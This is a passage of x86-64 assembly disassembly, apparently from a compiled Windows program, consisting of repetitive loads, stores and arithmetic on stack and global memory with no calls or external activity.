mov eax, dword [rax]
mov dword [rsp + 0x42dc], eax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x7318]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x8760]
mov rcx, qword [rsp + 0x7e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3fc4], eax
lea rax, [rsp + 0x8088]
mov qword [rsp + 0xa780], rax
mov rax, qword [rsp + 0x91a8]
movzx eax, word [rax]
mov rcx, qword [0x14017aab0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017a6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9eb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8268]
mov byte [rcx], al
lea rax, [rsp + 0x12dc]
mov qword [rsp + 0xa788], rax
movzx eax, word [rsp + 0xf20]
mov rcx, qword [rsp + 0x9e28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1228], ax
movzx eax, byte [rsp + 0x1ad]
movzx ecx, byte [rsp + 0x1e3]
sub eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x8100]
mov eax, dword [rax]
mov dword [rsp + 0x42e0], eax
mov rax, qword [rsp + 0x9398]
mov rcx, qword [rsp + 0x6e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8dd0]
mov eax, dword [rax]
mov dword [rsp + 0x42e4], eax
mov rax, qword [rsp + 0x9cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7558]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ce8], rax
mov rax, qword [0x14017ac58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [0x1401790c2], al
lea rax, [rsp + 0x1018]
mov qword [rsp + 0xa790], rax
movsx eax, byte [rsp + 0x114]
movsx ecx, byte [rsp + 0x44]
and eax, ecx
mov rcx, qword [rsp + 0x9a78]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0xa148]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14b], al
lea rax, [rsp + 0x1258]
mov qword [rsp + 0xa798], rax
mov rax, qword [rsp + 0x9b08]
mov rcx, qword [rsp + 0x83d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9680]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x42e8], eax
mov rax, qword [rsp + 0x8f38]
mov rcx, qword [rsp + 0x83c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c68], rax
mov rax, qword [rsp + 0x6ad0]
mov rcx, qword [rsp + 0xa020]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3be0], eax
lea rax, [rsp + 0x178]
mov qword [rsp + 0xa7a0], rax
movzx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179009], al
mov rax, qword [rsp + 0x9f88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xce4], ax
mov rax, qword [rsp + 0x6d28]
movzx eax, word [rax]
mov word [rsp + 0x1320], ax
movzx eax, byte [rsp + 0x1bf]
mov rcx, qword [rsp + 0x7028]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x7990]
mov rcx, qword [rsp + 0x9340]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa778]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4264]
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x8738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
mov qword [rsp + 0xa7a8], rax
mov rax, qword [rsp + 0x9e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9440]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790b3], al
movzx eax, word [rsp + 0xd74]
movzx ecx, word [rsp + 0x123c]
add eax, ecx
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0x9490]
movzx eax, word [rax]
mov word [rsp + 0x1324], ax
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ac0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa2f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x42b0]
mov dword [rsp + 0x42f0], eax
mov rax, qword [rsp + 0x7548]
mov rcx, qword [rsp + 0x8920]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7178], rax
lea rax, [rsp + 0x3f3c]
mov qword [rsp + 0xa7b0], rax
mov rax, qword [rsp + 0x80e8]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa350]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a4], al
lea rax, [rsp + 0x1b8]
mov qword [0x14017ac78], rax
lea rax, [rsp + 0x10c0]
mov qword [rsp + 0xa7b8], rax
movzx eax, byte [rsp + 0x117]
movzx ecx, byte [rsp + 0x1a1]
or eax, ecx
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [rsp + 0x201], al
mov eax, dword [0x14017a4d0]
movzx ecx, al
mov eax, dword [rsp + 0x3e48]
sar eax, cl
mov rcx, qword [rsp + 0x8698]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8938]
mov qword [rsp + 0xa7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa1e0], rax
lea rax, [rsp + 0x3f28]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x74a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7460]
mov qword [rcx], rax
lea rax, [rsp + 0x121]
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0xa2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [0x14017a6b8], ax
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
movzx ecx, word [0x14017913c]
imul eax, ecx
mov word [rsp + 0x1198], ax
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x41], al
movzx eax, word [rsp + 0x1278]
mov word [rsp + 0x1328], ax
movzx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0x7248]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8320]
mov eax, dword [rax]
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [rsp + 0x8868]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa550]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e08], rax
lea rax, [rsp + 0x427c]
mov qword [rsp + 0xa7d8], rax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x19a]
add eax, ecx
mov byte [0x1401790c3], al
movsx eax, byte [0x14017a583]
mov rcx, qword [rsp + 0x9188]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xdb4]
mov word [rsp + 0x132c], ax
mov rax, qword [rsp + 0x81a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1118]
add eax, ecx
mov rcx, qword [rsp + 0xa790]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f50]
movzx eax, byte [rax]
mov byte [rsp + 0x202], al
mov rax, qword [rsp + 0x9da8]
mov rcx, qword [rsp + 0x9f98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x71c0], rax
mov eax, dword [rsp + 0x3f34]
mov ecx, dword [rsp + 0x3b58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f78], eax
lea rax, section..data
mov qword [rsp + 0xa7e0], rax
mov rax, qword [rsp + 0x8ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3e8]
mov qword [rsp + 0xa7e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7e8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017aab0]
mov word [rcx], ax
lea rax, [rsp + 0x9f]
mov qword [rsp + 0xa7f0], rax
mov rax, qword [rsp + 0x9728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf8]
or eax, ecx
mov word [rsp + 0xeb0], ax
movzx eax, byte [rsp + 0x7b]
movzx ecx, byte [0x14017907e]
xor eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
lea rax, [rsp + 0x97]
mov qword [rsp + 0xa7f8], rax
mov eax, dword [rsp + 0x3d98]
mov ecx, dword [rsp + 0x3bec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a58]
mov dword [rcx], eax
lea rax, [rsp + 0x8730]
mov qword [rsp + 0xa800], rax
mov rax, qword [rsp + 0x7178]
mov rcx, qword [rsp + 0x7558]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0x7f30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x7eb0]
movzx eax, word [rax]
mov word [0x14017ac80], ax
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0x203], al
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0xa398]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0xa080]
movsx eax, word [rax]
movsx ecx, word [0x14017ac00]
add eax, ecx
mov rcx, qword [rsp + 0x9898]
mov word [rcx], ax
mov rax, qword [rsp + 0x84b8]
mov rax, qword [rax]
mov qword [rsp + 0xa808], rax
mov eax, dword [rsp + 0x4178]
mov ecx, dword [rsp + 0x3fe0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa290]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9410]
mov ecx, dword [rsp + 0x3fe8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa088]
mov rax, qword [rax]
mov qword [rsp + 0xa810], rax
mov rax, qword [rsp + 0x8588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xebc]
add eax, ecx
mov rcx, qword [0x14017a5a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xf58]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ad8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ef]
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0x9308]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
add eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov byte [rcx], al
movzx eax, word [0x140179100]
mov rcx, qword [rsp + 0x9e20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b4], ax
lea rax, [rsp + 0x71c0]
mov qword [rsp + 0xa818], rax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e78]
mov qword [rsp + 0xa820], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa820]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8578]
mov eax, dword [rax]
mov dword [rsp + 0x42f8], eax
mov rax, qword [rsp + 0x91f0]
mov ecx, dword [rsp + 0x3e68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa060]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x136]
movsx ecx, byte [rsp + 0x140]
sar eax, cl
mov byte [0x1401790c6], al
mov rax, qword [rsp + 0x9588]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x131]
xor eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1110]
mov word [rsp + 0x1334], ax
mov rax, qword [rsp + 0x8e08]
movsx eax, byte [rax]
mov rcx, qword [0x14017a960]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x70c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8720]
movzx eax, word [rax]
mov word [rsp + 0x1338], ax
mov rax, qword [rsp + 0x9690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4248], eax
mov rax, qword [rsp + 0x8270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8138]
mov qword [rsp + 0xa828], rax
mov rax, qword [rsp + 0x8708]
mov rcx, qword [rsp + 0xa248]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9408], rax
movzx eax, byte [rsp + 0x4b]
movzx ecx, byte [0x14017900a]
sub eax, ecx
mov byte [0x1401790c7], al
movzx eax, word [rsp + 0x1270]
mov word [rsp + 0x133c], ax
movzx eax, word [rsp + 0xf00]
movzx ecx, word [rsp + 0xe5c]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff0]
mov word [rcx], ax
lea rax, [0x140179009]
mov qword [rsp + 0xa830], rax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x8588]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0x98f0]
mov rcx, qword [rsp + 0x8960]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa2e0], rax
mov rax, qword [rsp + 0x92f8]
mov qword [rsp + 0xa838], rax
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0xa150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ba8]
mov dword [rcx], eax
lea rax, [rsp + 0x3e7c]
mov qword [rsp + 0xa840], rax
movzx eax, word [rsp + 0xee4]
mov rcx, qword [0x14017a5d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14017ac80], ax
mov rax, qword [rsp + 0x9278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
sar eax, cl
mov byte [rsp + 0x9c], al
movsx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0x8568]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0x87f0]
movzx eax, byte [rax]
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0x7388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x88e0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9090]
mov word [rcx], ax
lea rax, [rsp + 0x3e28]
mov qword [rsp + 0xa848], rax
mov rax, qword [rsp + 0x9f80]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7900]
mov rcx, qword [rsp + 0x8690]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0x90c0]
mov rax, qword [rax]
mov qword [rsp + 0xa850], rax
mov rax, qword [rsp + 0x8000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe5c]
sub eax, ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1288]
movsx ecx, word [rsp + 0xfb0]
sub eax, ecx
mov rcx, qword [0x14017aae8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa398]
movzx eax, byte [rax]
mov byte [rsp + 0x206], al
movsx eax, byte [0x14017a55e]
mov rcx, qword [rsp + 0x8c20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xed0]
mov word [rsp + 0x1340], ax
mov eax, dword [rsp + 0x3d60]
mov ecx, dword [rsp + 0x3cc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4044], eax
mov rax, qword [rsp + 0x7990]
mov rcx, qword [rsp + 0x9328]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0x7120]
mov rcx, qword [rsp + 0x9480]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9da8], rax
movzx eax, byte [0x14017a55b]
mov byte [rsp + 0x207], al
lea rax, [rsp + 0x54]
mov qword [0x14017ac88], rax
movzx eax, word [rsp + 0x1244]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12fc], ax
movzx eax, byte [0x14017a4fa]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x7448]
movzx eax, byte [rax]
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0xa510]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa520], rax
mov rax, qword [rsp + 0x74a0]
mov qword [rsp + 0xa858], rax
mov eax, dword [rsp + 0x3e94]
mov rcx, qword [rsp + 0x7a48]
mov qword [rsp + 0xa860], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa860]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7810]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3cec]
mov ecx, dword [rsp + 0x422c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fd0], eax
lea rax, [0x1401790bc]
mov qword [rsp + 0xa868], rax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa7f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa580]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12e4], ax
lea rax, [0x1401790dc]
mov qword [rsp + 0xa870], rax
mov rax, qword [rsp + 0x93a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa148]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c88]
mov rcx, qword [rsp + 0x7c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8800], rax
lea rax, [rsp + 0x3dcc]
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0x8ed8]
mov rcx, qword [rsp + 0x7e60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa108], rax
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0xa880], rax
movzx eax, word [0x140179104]
mov rcx, qword [rsp + 0x82f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9388]
mov word [rcx], ax
lea rax, [rsp + 0xee]
mov qword [0x14017ac90], rax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
mov word [rsp + 0x1344], ax
movsx eax, word [rsp + 0xd4c]
movsx ecx, word [0x1401790e4]
sub eax, ecx
mov word [rsp + 0xcc8], ax
movsx eax, byte [rsp + 0xb5]
movsx ecx, byte [rsp + 0x11a]
and eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x9a60]
movzx eax, byte [rax]
mov byte [rsp + 0x209], al
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x6e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7610]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3ec8]
mov dword [rsp + 0x4300], eax
mov rax, qword [rsp + 0x8580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e78], eax
mov rax, qword [rsp + 0x9c88]
mov rcx, qword [rsp + 0x9c70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4c0]
movzx eax, byte [rax]
mov byte [0x14017a69f], al
mov rax, qword [rsp + 0x95b8]
movzx eax, word [rax]
mov word [rsp + 0x1348], ax
movzx eax, word [rsp + 0xfc4]
movzx ecx, word [0x140179138]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa028]
mov word [rcx], ax
mov rax, qword [rsp + 0x9458]
movzx eax, byte [rax]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa140]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8680]
mov byte [rcx], al
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f78]
mov qword [rsp + 0xa888], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa888]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x88e8], rax
mov rax, qword [rsp + 0x9158]
mov rax, qword [rax]
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0x7098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3db4]
shl eax, cl
mov dword [rsp + 0x3dac], eax
lea rax, [rsp + 0x3c58]
mov qword [rsp + 0xa898], rax
movzx eax, word [0x140179150]
movzx ecx, word [rsp + 0x1204]
or eax, ecx
mov rcx, qword [0x14017a9b0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x6cd0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x71e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x1134]
mov qword [rsp + 0xa8a0], rax
mov rax, qword [rsp + 0x8f10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7dc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7758]
mov byte [rcx], al
lea rax, [rsp + 0x6e38]
mov qword [rsp + 0xa8a8], rax
mov rax, qword [rsp + 0x7150]
mov rcx, qword [rsp + 0x8580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42dc], eax
lea rax, [rsp + 0x74e8]
mov qword [rsp + 0xa8b0], rax
mov eax, dword [rsp + 0x3c2c]
mov ecx, dword [rsp + 0x3ee0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4038], eax
mov rax, qword [rsp + 0x8238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12f]
sub eax, ecx
mov byte [0x14017a55b], al
movsx eax, word [rsp + 0xfe0]
mov rcx, qword [rsp + 0x7ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0x78b8]
movzx eax, word [rax]
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0x84b0]
movzx eax, word [rax]
imul eax, eax, 0x732
mov rcx, qword [rsp + 0x93f8]
mov word [rcx], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0xa3d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
lea rax, [rsp + 0x4124]
mov qword [rsp + 0xa8c0], rax
mov eax, dword [rsp + 0x42c8]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
shl eax, cl
mov byte [0x1401790ca], al
lea rax, [rsp + 0x1284]
mov qword [rsp + 0xa8c8], rax
mov rax, qword [0x14017aa70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa470]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1328]
sar eax, cl
mov word [rsp + 0xdb8], ax
lea rax, [rsp + 0xf74]
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0x6fb0]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a88], rax
mov eax, dword [rsp + 0x4110]
mov dword [rsp + 0x4304], eax
mov rax, qword [rsp + 0xa588]
mov ecx, dword [rsp + 0x42e4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8c18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9048]
mov rax, qword [rax]
mov qword [rsp + 0xa8d8], rax
movzx eax, byte [rsp + 0x1b5]
mov rcx, qword [rsp + 0x9918]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790ba], al
mov rax, qword [rsp + 0x8750]
movzx eax, word [rax]
movzx ecx, word [0x140179030]
add eax, ecx
mov rcx, qword [rsp + 0x9bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0x11e0]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0x99a0]
movsx eax, byte [rax]
mov rcx, qword [0x14017aa10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c2], al
lea rax, [rsp + 0x7ee8]
mov qword [rsp + 0xa8e8], rax
mov rax, qword [rsp + 0x73e8]
mov rcx, qword [rsp + 0x7fa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0xa0c0]
mov ecx, dword [rsp + 0x3f48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ea0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ca8]
mov dword [rsp + 0x4308], eax
lea rax, [rsp + 0x1eb]
mov qword [0x14017ac98], rax
mov rax, qword [rsp + 0x72f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x88a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c], al
lea rax, [0x14017a4d6]
mov qword [rsp + 0xa8f0], rax
movzx eax, word [rsp + 0xf38]
mov rcx, qword [rsp + 0x80a8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8548]
movzx eax, word [rax]
movzx ecx, word [0x140179104]
imul eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x92c0]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0x8500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x40dc], eax
lea rax, [rsp + 0x8cb8]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0x6d88]
mov eax, dword [rax]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0xa908], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa908]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x84d0]
mov dword [rcx], eax
lea rax, [rsp + 0xe08]
mov qword [0x14017aca0], rax
